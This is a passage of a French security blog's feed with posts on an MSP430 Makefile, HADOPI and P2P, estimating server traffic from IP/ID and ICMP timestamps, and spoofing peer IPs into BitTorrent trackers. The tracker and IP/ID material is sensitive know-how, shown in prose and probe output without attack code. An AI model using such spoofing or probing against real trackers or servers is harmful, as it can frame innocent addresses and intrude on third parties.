&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Et mon Makefile:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
CC=msp430-gcc
CFLAGS=-Os -Wall -g -mmcu=msp430g2231

OBJS=main.o


all: $(OBJS)
    $(CC) $(CFLAGS) -o main.elf $(OBJS)

%.o: %.c
    $(CC) $(CFLAGS) -c $&amp;lt;

clean:
    rm -fr main.elf $(OBJS)
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le Launchpad de TI est tout à fait valable, car pas cher et quand même très bien fourni avec son MSP430. Certes, cela nécessite plus de travail qu'avec un Arduino, mais c'est un peu comme avec Linux, on a plus de contrôle sur le système et on peut donc en faire exactement ce que l'on veut. Une philosophie que j'apprécie tout particulièrement. Testez, découvrez, bidouillez avec le Launchpad de TI.&lt;/p&gt;
</content><category term="Geekeries"/></entry><entry><title>Des réseaux dans les réseaux</title><link href="https://virtualabs.fr/humeur/Des-reseaux-dans-les-reseaux" rel="alternate"/><published>2012-01-09T23:38:26+01:00</published><updated>2012-01-09T23:38:26+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2012-01-09:/humeur/Des-reseaux-dans-les-reseaux</id><summary type="html">&lt;p&gt;On nous tanne le mou depuis des années avec le &lt;em&gt;piratage&lt;/em&gt;, l'HADOPI et les méchantes personnes adeptes du téléchargement de type &lt;em&gt;pair à pair&lt;/em&gt;, ou &lt;em&gt;P2P&lt;/em&gt;. C'est encore très présent de nos jours avec la volonté de l'HADOPI de filtrer les sites de streaming, ou de lutter encore et sans …&lt;/p&gt;</summary><content type="html">&lt;p&gt;On nous tanne le mou depuis des années avec le &lt;em&gt;piratage&lt;/em&gt;, l'HADOPI et les méchantes personnes adeptes du téléchargement de type &lt;em&gt;pair à pair&lt;/em&gt;, ou &lt;em&gt;P2P&lt;/em&gt;. C'est encore très présent de nos jours avec la volonté de l'HADOPI de filtrer les sites de streaming, ou de lutter encore et sans merci contre les (derniers) adeptes du &lt;em&gt;P2P&lt;/em&gt;. Ou du moins ceux qui n'ont pas encore découvert MegaUpload &amp;amp; consors et les joies du téléchargement direct. Malheureusement, cette chasse aux sorcières est vaine et pousse les choses dans le mauvais sens.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Une chasse qui tourne court&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Plusieurs &lt;em&gt;serial-downloaders&lt;/em&gt; se sont fait attraper par la Haute Autorité, mais à ce jour aucun d'eux n'a été envoyé dans un tribunal. Il semble que le troisième volet de la riposte graduée ne soit pas encore très prisé par la HADOPI elle-même, comme le montre &lt;a class="reference external" href="http://www.pcinpact.com/news/68088-sos-hadopi-robert-thollot-securisation.htm"&gt;le cas de l'enseignant Thollot&lt;/a&gt;. Elle préfère le pédagogique au répressif, en conformité avec sa raison d'être.&lt;/p&gt;
&lt;p&gt;La société mandatée par les ayants-droits et autorisée par l'HADOPI à collecter les adresses IP des &lt;em&gt;pirates&lt;/em&gt; a montré ses faiblesses, &lt;a class="reference external" href="http://reflets.info/le-honeypot-de-tmg/"&gt;révélées par Bluetouff&lt;/a&gt;, et l'interconnexion entre la Haute Autorité et cette société est toujours interrompue, bien que l'audit de sécurité mené par HSC ait été réalisé et le rapport remis.&lt;/p&gt;
&lt;p&gt;A quelques semaines des élections, les programmes des candidats divergent, et certains parlent déjà de supprimer cette Haute Autorité qui ne sert à rien, si ce n'est à faire peser au dessus de la tête de Madame Michu une bonne vieille épée de Damoclès. &amp;quot;Attention, si tu télécharges, ca va couper !&amp;quot;, &lt;a class="reference external" href="http://www.ca-va-couper.fr/"&gt;comme disait notre ami Dédé&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Les artistes se meurent ... mais ne se rendent pas !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Alors oui, on va me dire que les artistes se meurent, et que la rémunération de la création n'est pas ce qu'elle devrait être. Pouvez-vous me dire ce que l'HADOPI a fait pour améliorer la rémunération de la création d'œuvres ? Hmm ? Pas grand chose,`aneffé &amp;lt;&lt;a class="reference external" href="http://www.laquadrature.net/fr/hadopi-albanel-passe-son-oral-020"&gt;http://www.laquadrature.net/fr/hadopi-albanel-passe-son-oral-020&lt;/a&gt;&amp;gt;`_. Bon, je ne commenterai pas la bonne santé des cinémas français, ni le regain d'intérêt des spectateurs pour la 3D, ou encore les records battus par &lt;em&gt;Intouchables&lt;/em&gt; ou &lt;em&gt;Bienvenue chez les ch'tis&lt;/em&gt;. Le modèle de rémunération français est obsolète, qu'on se le dise. Plusieurs artistes ont démontré qu'ils pouvaient être rémunérés (et très bien rémunérés) pour leur travail en se passant d'intermédiaires, avec une interaction directe avec leur public, comme Radiohead ou encore &lt;a class="reference external" href="http://www.travailleursduweb.com/2011/12/25/lexperience-concluante-de-louis-ck.html"&gt;Louis CK&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Et non, les intermédiaires ne sont pas morts, je suis sûr qu'il y a encore de la place pour des fans de marketing viral, des adeptes et accros à Twitter et Facebook, et des personnes à même de faire connaître des artistes par leur dimension sociale. Ces gens là ont un avenir dans le monde artistique. Tout comme les artistes eux-mêmes. L'heure de la dématérialisation a sonné le glas d'un système archaïque, et tend à être la norme d'une jeunesse qui a grandi avec YouTube, DailyMotion et iTunes.&lt;/p&gt;
&lt;p&gt;Les acteurs du futur de la création ne sont pas ceux que l'on attend. Non, ce n'est pas aux fans de musiques, de groupes, de mouvements divers de pousser au changement; ce n'est pas non plus aux maisons de disques de sauter le pas, de tenter l'aventure numérique. Non. Ces changements, ces prises de risques, ce sont aux artistes de les faire, de les prendre. Les artistes sont le moteur de la création, ce sont eux qui créent et font vivre leurs œuvres. En n'acceptant pas un modèle figé et ancien, en utilisant les nouveaux modes de communication et de diffusion ils toucheront un plus large public, et bénéficieront de cela. Et s'il y a une chose dont je suis sûr, c'est que ce public saura le leur rendre. Comme je l'ai mentionné dans un précédent post: osez. C'est à vous de faire l'avenir de la création artistique, ne soyez pas attentistes. Okay, je pense que vous avez saisi mon propos.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Et les réseaux dans tout ça ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Eh bien ce sont eux qui en pâtissent, car un des effets de la répression des téléchargements de contenus illicites via &lt;em&gt;P2P&lt;/em&gt; est la migration d'une grande partie des &lt;em&gt;pirates&lt;/em&gt; vers des solutions non-fliquées, comme le &lt;em&gt;streaming&lt;/em&gt; ou le téléchargement direct (&lt;em&gt;direct download, ou DDL&lt;/em&gt;), abusant ainsi du modèle client/serveur et générant un trafic monstre. Trafic tellement important, que &lt;a class="reference external" href="http://www.pcinpact.com/news/54555-lenteurs-youtube-megaupload-orange-dns.htm"&gt;plusieurs FAIs ont bien essayé de le limiter en douce&lt;/a&gt;. En fait, il s'agit d'un rétro-pédalage dans l'innovation technologique. Je m'explique.&lt;/p&gt;
&lt;p&gt;Le système classique (qui a dit ancien ?) est basé sur un ou plusieurs clients demandant une ou plusieurs ressources à un serveur. On a donc un seul serveur qui dessert une certaine quantité de clients. Au delà d'un certain nombre de clients, le serveur reçoit trop de demande et ne peut toutes les satisfaire: il y a saturation (et ce brave serveur ne va pas s'en remettre de suite). L'avantage du système de téléchargement &lt;em&gt;P2P&lt;/em&gt;, c'est que dès qu'un client a récupéré un bout d'une ressource, il la partage aux autres (et agit donc comme serveur à son tour), ce qui a pour conséquence d'augmenter l'offre tandis que la demande augmente, et donc de pouvoir assurer une très bonne disponibilité des ressources. Cela a aussi pour effet de répartir la charge sur l'ensemble du réseau, et d'éviter que le serveur ne soit un goulot d'étranglement. Ce principe d'échange est tellement efficace qu'il est désormais intégré de base dans plusieurs jeux pour réaliser les mises-à-jour, comme sur World of Warcraft (Blizzard) par exemple.&lt;/p&gt;
&lt;p&gt;En condamnant la technologie &lt;em&gt;P2P&lt;/em&gt;, on force plusieurs milliers (millions ?) de clients à revenir à l'ancien modèle, et à saturer de nouveaux les fournisseurs de ressources. Et forcément, la demande explose et le ou les serveurs ne suivent plus trop. Quand on pense qu'avec le &lt;em&gt;P2P&lt;/em&gt; tout allait mieux ...&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Un réseau dans le réseau dans le réseau dans le ...&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Tout cela pour en arriver à ce dernier paragraphe, qui cette fois traite de bon sens. En criminalisant les personnes qui téléchargent des contenus soumis au droit d'auteur via des réseaux &lt;em&gt;P2P&lt;/em&gt; ou même &lt;em&gt;DDL&lt;/em&gt;, on les pousse à consommer du &lt;em&gt;VPN&lt;/em&gt; à 5€/mois (un marché prometteur d'ailleurs), à utiliser bon nombre de moyens de chiffrement et d'anonymat, et à être paranoïaques. Non seulement les &lt;em&gt;VPN*s et les moyens de chiffrement réduisent les performances, mais en plus ils créent un réseau dans le réseau. Cette tendance est d'ailleurs d'actualité, avec notamment `l'apparition et l'évolution des PirateBoxes &amp;lt;http://wiki.daviddarts.com/PirateBox_DIY&amp;gt;`_, ou encore l`es réseaux communautaires *Mesh&lt;/em&gt; &amp;lt;&lt;a class="reference external" href="http://www.harakiwi.net/actualites/reseau-mesh-wifi-larme-absolue-anti-hadopi-2767.html"&gt;http://www.harakiwi.net/actualites/reseau-mesh-wifi-larme-absolue-anti-hadopi-2767.html&lt;/a&gt;&amp;gt;`_ &lt;a class="reference external" href="http://www.clubic.com/antivirus-securite-informatique/virus-hacker-piratage/hackers/actualite-467674-hackerspace-global-grid.html"&gt;voire même un réseau satellitaire communautaire et libre&lt;/a&gt; !&lt;/p&gt;
&lt;p&gt;Il est très dommage de devoir réinventer la roue, et de se réapproprier des technologies et des moyens permettant d'échapper au contrôle et à la censure, encore plus de devoir créer un nouveau réseau libre au sein d'un réseau existant, comme le font &lt;a class="reference external" href="https://www.torproject.org/"&gt;ToR&lt;/a&gt; ou encore &lt;a class="reference external" href="http://freenetproject.org/"&gt;Freenet&lt;/a&gt;. N'était-ce pas la volonté même des créateurs de ce super-réseau qu'est Internet ? N'est-ce pas là un vecteur de Liberté, offert à tout un chacun ayant accès à l'Internet ? Oh wait ... il faut payer. Pourquoi perdre son temps à tenter de limiter, contrôler, un réseau en évolution et devenu essentiel à bon nombre de gens et de sociétés aujourd'hui ? Que seraient Facebook, Google, Microsoft sans Internet ?&lt;/p&gt;
&lt;p&gt;Les initiatives de réseau communautaires sont louables, en ce sens qu'elles permettent  un accès à un réseau gratuit avec des moyens modestes, bien que pour certaines un peu utopiques à mon goût. Mais le coup de la PirateBox, &lt;a class="reference external" href="http://fr.wikipedia.org/wiki/Zone_autonome_temporaire"&gt;sorte de TAZ&lt;/a&gt; où l'on peut partager et échanger librement, j'avoue que je suis fan :).&lt;/p&gt;
</content><category term="Humeur"/><category term="P2P"/><category term="hadopi"/><category term="online storage"/><category term="stockage en ligne"/><category term="rapidshare"/><category term="megaupload"/></entry><entry><title>IP/ID analysis for fun and profit</title><link href="https://virtualabs.fr/secu/IP-ID-analysis-for-fun-and-profit" rel="alternate"/><published>2012-01-08T11:43:08+01:00</published><updated>2012-01-08T11:43:08+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2012-01-08:/secu/IP-ID-analysis-for-fun-and-profit</id><summary type="html">&lt;p&gt;C'était un de ces soirs durant lesquels je geeke jusqu'à tomber de sommeil, sauf que là j'étais en vacances. C'est ennuyeux, les vacances. Alors j'ai pris la (sage) décision de mettre à profit mon temps disponible pour avancer mes nombreux projets. Et comme à mon habitude, je n'ai pas pu …&lt;/p&gt;</summary><content type="html">&lt;p&gt;C'était un de ces soirs durant lesquels je geeke jusqu'à tomber de sommeil, sauf que là j'étais en vacances. C'est ennuyeux, les vacances. Alors j'ai pris la (sage) décision de mettre à profit mon temps disponible pour avancer mes nombreux projets. Et comme à mon habitude, je n'ai pas pu m'empêcher de diverger et d'aller titiller d'autres sujets. Je ne sais plus trop pourquoi, mais je me suis intéressé à un moyen d'évaluer de manière fiable ou presque le trafic d'un serveur distant, et la première chose qui m'est venue à l'esprit est l'analyse du champ &lt;em&gt;Identification&lt;/em&gt; des datagrammes IP.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Premiers tests, et premières déceptions&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J'ai donc entamé la recherche d'une méthode efficace permettant d'évaluer le trafic d'un serveur distant, en me basant sur l'évolution du champ &lt;em&gt;Identification&lt;/em&gt; du protocole IP. Ce champ est en réalité un compteur sur 16 bits (entier non-signé), incrémenté de 1 à chaque émission de paquet. Au vu des quantités de paquets émis par un serveur, ce compteur boucle assez régulièrement, et il est donc très difficile de déduire quoi que ce soit. Ce champ est aussi souvent appelé &lt;em&gt;IP/ID&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;J'ai donc commencé mes tests par le développement d'un outil en Python, utilisant Scapy, et émettant à intervalle très court deux requêtes &lt;em&gt;ICMP Echo Request&lt;/em&gt;, calculant le temps de parcours depuis l'envoi,  et essayant de déterminer la vitesse d'évolution des &lt;em&gt;IP/ID&lt;/em&gt;. L'implémentation n'a pas été un problème en soit, par contre les résultats n'étaient pas au rendez-vous, et pour cause: la mesure de temps n'est pas fiable. En réalité, nous ne disposons que d'une référence pour cette mesure de temps: la machine émettrice. Le réseau Internet étant ce qu'il est nous ne sommes pas sûrs de plusieurs choses:
*  les paquets peuvent avoir été routés via des chemins différents entre les deux requêtes
*  des latences réseau ont pu se produire, et faire varier le temps d'émission./réception des paquets
Autant de facteurs qui rendent la mesure imprécise, et au vu du laps de temps très court séparant l'envoi des deux paquets, l'erreur introduite est élevée. Il n'est donc pas fiable d'employer cette méthode pour déterminer la quantité de trafic qu'émet un serveur distant.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Les timestamps à la rescousse&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Heureusement, le protocole ICMP met à notre disposition d'autres types de messages, comme celui permet de demander à une machine distante de nous envoyer des indications sur son horloge interne (Timestamp), ce qui a pour intérêt de pouvoir nous renseigner sur l'heure d'émission du paquet. En effet, le protocole ICMP étant un protocole de couche 4 (Transport), ses datagrammes sont encapsulés dans des datagrammes IP (protocole couche 3). Autrement dit, en envoyant un message ICMP &lt;em&gt;Timestamp Request&lt;/em&gt;  (Code:0, Type:13), le serveur distant peut y répondre avec un paquet ICMP contenant notamment un Timestamp paramétré par la machine ayant effectué la requête, et un Timestamp correspondant à l'heure d'émission de la réponse.&lt;/p&gt;
&lt;p&gt;Il ne me fallait pas plus de choses pour que j'implémente une variante de l'outil précédent, prenant en compte cette fois-ci une mesure de temps beaucoup plus précise. Bien sûr, il faut que le serveur distant testé réponde à ce type de requête ICMP, ce qui n'est pas monnaie courante. Mais j'ai pu identifier certains sites connus qui y répondent favorablement: www.hsc.fr, www.lemonde.fr, www.lefigaro.fr, etc ... L'exemple ci-dessous, réalisé avec l'utilitaire hping2, démontre bien les réponses reçues:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
virtubox:/home/virtualabs# hping2 -1 -K 0 -C 13 -r www.hsc.fr
HPING www.hsc.fr (wlan0 217.174.211.25): icmp mode set, 28 headers + 0 data bytes
len=40 ip=217.174.211.25 ttl=53 id=21302 icmp_seq=0 rtt=23.3 ms
ICMP timestamp: Originate=2647898 Receive=2647955 Transmit=2647955
ICMP timestamp RTT tsrtt=24

len=40 ip=217.174.211.25 ttl=53 id=+15 icmp_seq=1 rtt=24.0 ms
ICMP timestamp: Originate=2648899 Receive=2648955 Transmit=2648955
ICMP timestamp RTT tsrtt=24

len=40 ip=217.174.211.25 ttl=53 id=+6 icmp_seq=2 rtt=23.5 ms
ICMP timestamp: Originate=2649899 Receive=2649955 Transmit=2649955
ICMP timestamp RTT tsrtt=23
&lt;/pre&gt;
&lt;p&gt;Le timestamp qui m'intéressa fut celui dénommé &lt;em&gt;Transmit&lt;/em&gt;, correspondant à l'heure de transmission. Ce timestamp est en réalité le nombre de millisecondes écoulées depuis 00h00, et est donc suffisamment précis pour être utilisé. De là, j'ai développé un premier outil affichant un aperçu visuel du trafic, toujours en Python avec la bibliothèque &lt;em&gt;curses&lt;/em&gt;. Le résultat n'est pas super joli, mais fait l'affaire:&lt;/p&gt;
&lt;img alt="" src="/images/traf-worldnet.png" /&gt;
&lt;p&gt;J'étais assez satisfait du résultat, bien que cet outil ne casse pas trois pattes à un canard. Néanmoins, après différents tests sur des serveurs publics, j'ai pu noter les inconvénients suivants:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;peu de serveurs supportent les requêtes de timestamp&lt;/li&gt;
&lt;li&gt;certains serveurs incrémentent le champ IP/ID en fonction du client qui envoie les requêtes (variation de +1 quoiqu'il arrive)&lt;/li&gt;
&lt;li&gt;lorsque le serveur a trop de trafic, le résultat n'est pas fiable&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Et cela a commencé à m'ennuyer, je suis donc reparti à la recherche de la méthode ultime permettant de déterminer dans tous les cas de figures la quantité de trafic supporté par une machine distante. Et c'est devenu un poil plus complexe ...&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Approche probabiliste&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Je me suis rapidement rendu à l'évidence, après plusieurs tentatives infructueuses: réaliser une étude analytique pure de la variation du champ IP/ID est une pure perte de temps, à cause de la faible entropie de ce compteur. Il me fallait partir dans une autre direction, et trouver une approche différente, mais toutefois fiable. Et c'est là que m'est venu l'idée de prendre le problème dans l'autre sens. Si une machine subit un trafic conséquent, alors il devrait être très difficile de prédire la valeur du prochain IP/ID retourné. Il s'agit ici d'une simple constatation probabiliste. Plus il y a de trafic, plus le champ IP/ID varie, et plus il est difficile de prédire sa prochaine valeur. Il existe toutefois un cas de figure, mais qui reste très peu probable: celui où le trafic est conséquent et constant.&lt;/p&gt;
&lt;p&gt;Il m'a donc semblé intéressant de tenter cette approche. J'ai donc entamé le développement d'une preuve de concept, toujours en Python, qui visait à réussir une prédiction pour un serveur donné. Malheureusement, ceci est très difficile à obtenir, surtout lorsque l'on cherche à prédire &lt;strong&gt;exactement&lt;/strong&gt; la valeur du prochain IP/ID. J'ai donc introduit une variable  représentant une marge d'erreur augmentant progressivement (suite aux tests infructueux), et en faisant varier cette marge d'erreur de manière exponentielle, j'ai pu obtenir des résultants probant.&lt;/p&gt;
&lt;img alt="" src="/images/pong-sun-com.png" /&gt;
&lt;img alt="" src="/images/pong-twitter-com.png" /&gt;
&lt;img alt="" src="/images/pong-facebook-com.png" /&gt;
&lt;p&gt;La recherche de prédiction exacte et/ou approximative permet, lorsqu'elle est réalisée sur une durée suffisamment longue, de pouvoir associer un score (heuristique) à la quantité de trafic émis par la machine distante. Il y a dans le cas présent une relation qui lie cette quantité de trafic (et de manière indirecte, la variation de cette quantité de trafic) à la difficulté de prédiction du champ IP/ID. En évaluant la difficulté de prédiction, on peut tenter de déduire la quantité de trafic. Il sagit d'une méthode probabiliste, aboutissant à un résultat fiable (qualitatif) mais non-quantitatif,  permettant d'apprécier la quantité de trafic par rapport à un trafic de référence. Il semblerait toutefois qu'en cas de présence de répartiteurs de charge ou lorsque l'intervalle de temps entre deux mesures est trop grand, la mesure ne soit pas fiable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;To be continued ...&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Je suis actuellement en train d'approfondir cette méthode d'évaluation probabiliste, en tentant notamment de lier la difficulté de prédiction d'IP/ID à la quantité de paquets émis par le serveur, bien que cela ne me semble pas évident du tout. De même, je continue mes tests afin de vérifier la validité de mes résultats, bien que pour le moment ils soient positifs.&lt;/p&gt;
&lt;p&gt;Je publierai mon analyse dans les détails par la suite, ainsi que le code source de ma preuve de concept.&lt;/p&gt;
</content><category term="Sécu"/><category term="sécurité"/></entry><entry><title>YouHaveDownloaded, le site qui fait de la peur !</title><link href="https://virtualabs.fr/secu/YouHaveDownloaded-le-site-qui-fait" rel="alternate"/><published>2011-12-29T02:00:15+01:00</published><updated>2011-12-29T02:00:15+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2011-12-29:/secu/YouHaveDownloaded-le-site-qui-fait</id><summary type="html">&lt;p&gt;Depuis quelques semaines, le site &lt;a class="reference external" href="http://www.youhavedownloaded.com"&gt;YouHaveDownloaded&lt;/a&gt; fait parler de lui, et tout récemment encore à propos de supposés téléchargements illégaux réalisés par des personnes au sein du Ministère de la Culture, situé rue de Valois à Paris. Nicolas Perrier s'en est d'ailleurs fait écho &lt;a class="reference external" href="http://www.nikopik.com/2011/12/au-tour-du-ministere-de-la-culture-detre-flashe-pour-telechargements-illegaux.html"&gt;via un post sur son blog …&lt;/a&gt;&lt;/p&gt;</summary><content type="html">&lt;p&gt;Depuis quelques semaines, le site &lt;a class="reference external" href="http://www.youhavedownloaded.com"&gt;YouHaveDownloaded&lt;/a&gt; fait parler de lui, et tout récemment encore à propos de supposés téléchargements illégaux réalisés par des personnes au sein du Ministère de la Culture, situé rue de Valois à Paris. Nicolas Perrier s'en est d'ailleurs fait écho &lt;a class="reference external" href="http://www.nikopik.com/2011/12/au-tour-du-ministere-de-la-culture-detre-flashe-pour-telechargements-illegaux.html"&gt;via un post sur son blog&lt;/a&gt;, et c'est via Google+ que j'ai pu en discuter avec lui.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Le protocole BitTorrent&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Avant toute chose, je tiens à apporter quelques précisions sur le fonctionnement du protocole BitTorrent, et en particulier sur son architecture et sur les données stockées sur le serveur central (tracker). Le système BitTorrent repose sur un serveur central, serveur qui a donc connaissance de toutes les adresses IP des utilisateurs connectés, et qui les distribue à qui les demande. Non, il n'y a aucune authentification ni vérification faites sur les utilisateurs réclamant des adresses IP, tout au plus une limitation sur le nombre de requêtes de récupération d'adresses IP réalisées à l'heure.&lt;/p&gt;
&lt;p&gt;Chaque fichier partagé sur BitTorrent est référencé par un &lt;em&gt;hash&lt;/em&gt; SHA1 qui l'identifie de manière unique. Ce &lt;em&gt;hash&lt;/em&gt; est appelé &lt;em&gt;infohash&lt;/em&gt;, et est fourni par les utilisateurs souhaitant partager un fichier. Pour partager un fichier, le logiciel BitTorrent (ou tout autre client BitTorrent) effectue une requête HTTP sur une URL d'annonce, en passant en paramètres différentes informations, telles que recensées &lt;a class="reference external" href="http://wiki.theory.org/BitTorrentSpecification"&gt;sur le site contenant les spécifications&lt;/a&gt; du protocole:&lt;/p&gt;
&lt;p&gt;&amp;lt;quote&amp;gt;
*  &lt;strong&gt;info_hash&lt;/strong&gt;: urlencoded 20-byte SHA1 hash of the value of the info key from the Metainfo file. Note that the value will be a bencoded dictionary, given the definition of the info key above.
*  &lt;strong&gt;peer_id&lt;/strong&gt;: urlencoded 20-byte string used as a unique ID for the client, generated by the client at startup. This is allowed to be any value, and may be binary data. There are currently no guidelines for generating this peer ID. However, one may rightly presume that it must at least be unique for your local machine, thus should probably incorporate things like process ID and perhaps a timestamp recorded at startup. See peer_id below for common client encodings of this field.
*  &lt;strong&gt;port&lt;/strong&gt;: The port number that the client is listening on. Ports reserved for BitTorrent are typically 6881-6889. Clients may choose to give up if it cannot establish a port within this range.
*  &lt;strong&gt;uploaded&lt;/strong&gt;: The total amount uploaded (since the client sent the 'started' event to the tracker) in base ten ASCII. While not explicitly stated in the official specification, the concensus is that this should be the total number of bytes uploaded.
downloaded: The total amount downloaded (since the client sent the 'started' event to the tracker) in base ten ASCII. While not explicitly stated in the official specification, the consensus is that this should be the total number of bytes downloaded.
*  &lt;strong&gt;left&lt;/strong&gt;: The number of bytes this client still has to download in base ten ASCII.
compact: Setting this to 1 indicates that the client accepts a compact response. The announce-list is replaced by a peers string with 6 bytes per peer. The first four bytes are the host (in network byte order), the last two bytes are the port (again in network byte order). It should be noted that some trackers only support compact responses (for saving bandwidth) and either refuse requests without &amp;quot;compact=1&amp;quot; or simply send a compact response unless the request contains &amp;quot;compact=0&amp;quot; (in which case they will refuse the request.)
[...]
*  &lt;strong&gt;ip&lt;/strong&gt;: Optional. The true IP address of the client machine, in dotted quad format or rfc3513 defined hexed IPv6 address. Notes: In general this parameter is not necessary as the address of the client can be determined from the IP address from which the HTTP request came. The parameter is only needed in the case where the IP address that the request came in on is not the IP address of the client. This happens if the client is communicating to the tracker through a proxy (or a transparent web proxy/cache.) It also is necessary when both the client and the tracker are on the same local side of a NAT gateway. The reason for this is that otherwise the tracker would give out the internal (RFC1918) address of the client, which is not routable. Therefore the client must explicitly state its (external, routable) IP address to be given out to external peers. Various trackers treat this parameter differently. Some only honor it only if the IP address that the request came in on is in RFC1918 space. Others honor it unconditionally, while others ignore it completely. In case of IPv6 address (e.g.: 2001:db8:1:2::100) it indicates only that client can communicate via IPv6.
*  &lt;strong&gt;numwant&lt;/strong&gt;: Optional. Number of peers that the client would like to receive from the tracker. This value is permitted to be zero. If omitted, typically defaults to 50 peers.
&amp;lt;/quote&amp;gt;&lt;/p&gt;
&lt;p&gt;Le champ &lt;em&gt;ip&lt;/em&gt; est un champ optionnel, mais le tracker peut le prendre en compte en lieu et place de l'adresse IP réelle effectuant la requête. Cependant la plupart des implémentations de trackers supportent ce paramètre sans le prendre en compte. Il est donc possible de spécifier une adresse IP autre que celle qui permet d'envoyer la requête, et donc potentiellement d'injecter des adresses IP falsifiées dans la liste des utilisateurs connectés, en envoyant une requête d'annonce avec une adresse IP falsifiée. Attention toutefois, certains trackers sont quand même sensibles à ce type d'injection.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;La méthode TMG/YouHaveDownloaded&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Un système de flicage de clients BitTorrent ne peut donc pas se fier qu'aux adresses IP fournies par le serveur central, le tracker, mais doit effectuer une vérification pro-active. Cette vérification est notamment faite via une connection aux adresses IP soupçonnées, et une requête permettant de valider si la personne partage une portion du fichier incriminé. Si oui, son adresse IP est répertoriée, et c'est &lt;em&gt;a priori&lt;/em&gt; sur ce principe qu'est basée la détection de TMG.&lt;/p&gt;
&lt;p&gt;YouHaveDownloaded utilise certainement le même type de détection, mais sans faire de vérification directe car il s'agit là d'une méthode lourde et fastidieuse. Du moins, c'est ce que l'on peut déduire des informations retournées par ce site, et notamment celles qui ont fait du bruit récemment: environ 250 adresses IP publiques appartenant à une plage d'adresses attribuée au Ministère de la Culture ont servi à télécharger des fichiers divers. Deux explications possibles:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Soit ces adresses IP ont été injectées dans un ou plusieurs trackers BitTorrent, ce qui expliquerai le fait qu'elles aient été &amp;quot;flashées&amp;quot; par YouHaveDownloaded (méthode lite sans vérification du client)&lt;/li&gt;
&lt;li&gt;Soit ces adresses IP correspondent bien à des machines ayant téléchargé des fichiers pirates, mais la probabilité que les administrateurs du SI de la rue de Valois ait placé les machines de leurs utilisateurs en frontal avec une adresse IP publique pour chacune d'entre elles est relativement faible (bien que déjà observé lors de formations et de tests d'intrusion)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Le problème de la méthode YouHaveDownloaded, c'est que les trackers servant de référence ne sont pas documentés sur le site, et il suffit qu'un seul de ces trackers soit vulnérable à une injection d'adresse IP pour que la totalité de la base de données créée à partir de ce tracker ne soit plus crédible. A mon humble avis, cette possibilité est très fortement probable, ce qui expliquerait les cas similaires observés de par le monde, aux USA et au Royaume-Uni notamment. Lorsque l'on sait que des hackers ont lancé il y a de cela presque deux ans des séries d'offensives contre l'HADOPI lors des discussions parlementaires et du vote, et fait la promotion d'un outil nommé &lt;em&gt;seedfuck&lt;/em&gt; visant à injecter des adresses IP du Ministère de la Culture (mais pas que) dans des trackers de renom, il semble probable que ces mêmes personnes en veuille toujours au système mis en place.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;MAJ du jeudi 29 décembre 2012: Un lecteur m'a signalé aussi le fait que les propriétaires de trackers (`et tout spécialement ceux de ThePirateBay &amp;lt;http://www.numerama.com/magazine/10885-the-pirate-bay-rend-la-riposte-graduee-dangereuse-pour-tous.html&amp;gt;`_) avaient parlé il y a de cela un moment d'injecter eux-mêmes des adresses IP falsifiées dans leurs trackers, ce qui est tout à fait probable mais peut aboutir à une baisse des performances du tracker si cette injection est trop présente (tout comme seedfuck abaisse les performances du tracker pour le fichier qu'il empoisonne).&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BitTorrent, tu peux pas test.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Afin de vérifier cela, j'ai développé un petit outil (très rapidement, c'est-à-dire en commentant peu et pas très proprement, oui j'ai honte) permettant de tester l'injection d'adresse IP sur un tracker à partir de son URL d'annonce. Vous trouverez des URLs d'annonce &lt;a class="reference external" href="http://www.trackon.org/"&gt;sur ce site&lt;/a&gt; par exemple, afin de tester l'outil.
Ce bout de code Python annonce un fichier inexistant (donc considéré comme nouveau) en précisant un paramètre &lt;em&gt;ip&lt;/em&gt;, et vérifie que celui-ci est bien fourni ensuite par le serveur aux autres utilisateurs. L'outil &lt;em&gt;seedfuck&lt;/em&gt; ne faisait pas cette vérification, et ne fonctionnait donc pas sur la grande majorité des trackers.&lt;/p&gt;
&lt;p&gt;Je me suis servi de cet outil sur la plupart des &amp;quot;gros&amp;quot; trackers BitTorrent, et il s'avère que ceux-ci ne sont pas vulnérables. Néanmoins, je mets cet outil à disposition, cela pourrait servir ...&lt;/p&gt;
